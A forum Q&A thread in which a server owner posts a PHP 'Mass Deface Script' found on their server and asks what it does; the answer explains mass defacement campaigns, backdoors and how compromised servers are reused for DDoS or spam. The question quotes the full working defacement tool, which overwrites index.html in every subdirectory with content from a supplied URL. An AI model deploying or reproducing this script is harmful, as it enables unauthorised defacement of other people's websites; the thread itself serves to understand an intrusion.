What is this script running?

Question

I am beginner in the area and found this file inside my server :

<?php
/*
Script: Mass Deface Script
*/
echo "<center><textarea rows='10' cols='100'>";
$defaceurl = $_POST['massdefaceurl'];
$dir = $_POST['massdefacedir'];
echo $dir."\n";

if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
                        if(filetype($dir.$file)=="dir"){
                                $newfile=$dir.$file."/index.html";
                                echo $newfile."\n";
                                if (!copy($defaceurl, $newfile)) {
                                        echo "failed to copy $file...\n";
                                }
                        }
        }
        closedir($dh);
    }
}
echo "</textarea></center>";
?>


<td align=right>Mass Defacement:</td><br>
</div>
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
<div class="style31">
[+] Main Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>
[+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
<input type='submit' name='execmassdeface' value='Execute'></div>
</form></td>

Can help me understand what this file was running ?

Answer 1

The script returns the current directory where this file is located, checks whether it is manipulable, and creates a new index.html file.

Mass Defacement

the defacers aren’t Selective in their targets; in Most cases they just use Automated tools to find Vulnerable Servers, and Automatically exploit them. The exploit Automatically uploads a backdoor to the compromised server which will provide, for example, shell access to the compromised server. The defacer can Launch further Attacks via the backdoor, such as trying to Escalate privileges using local kernel exploits, or Reporting the compromised server to a defacement Archive. These backdoors are also sold on the black market, enabling Buyers to, for example, turn a compromised server into a Node in a Ddos network, or use it as spam Relay host.

They are target-free attacks, check vulnerable sites and exploit them, and can replace files, copy them or even use the server for spam mailing and Ddos.

That is, your site is somehow vulnerable and allowed access to the server to third parties.

Mass Defacement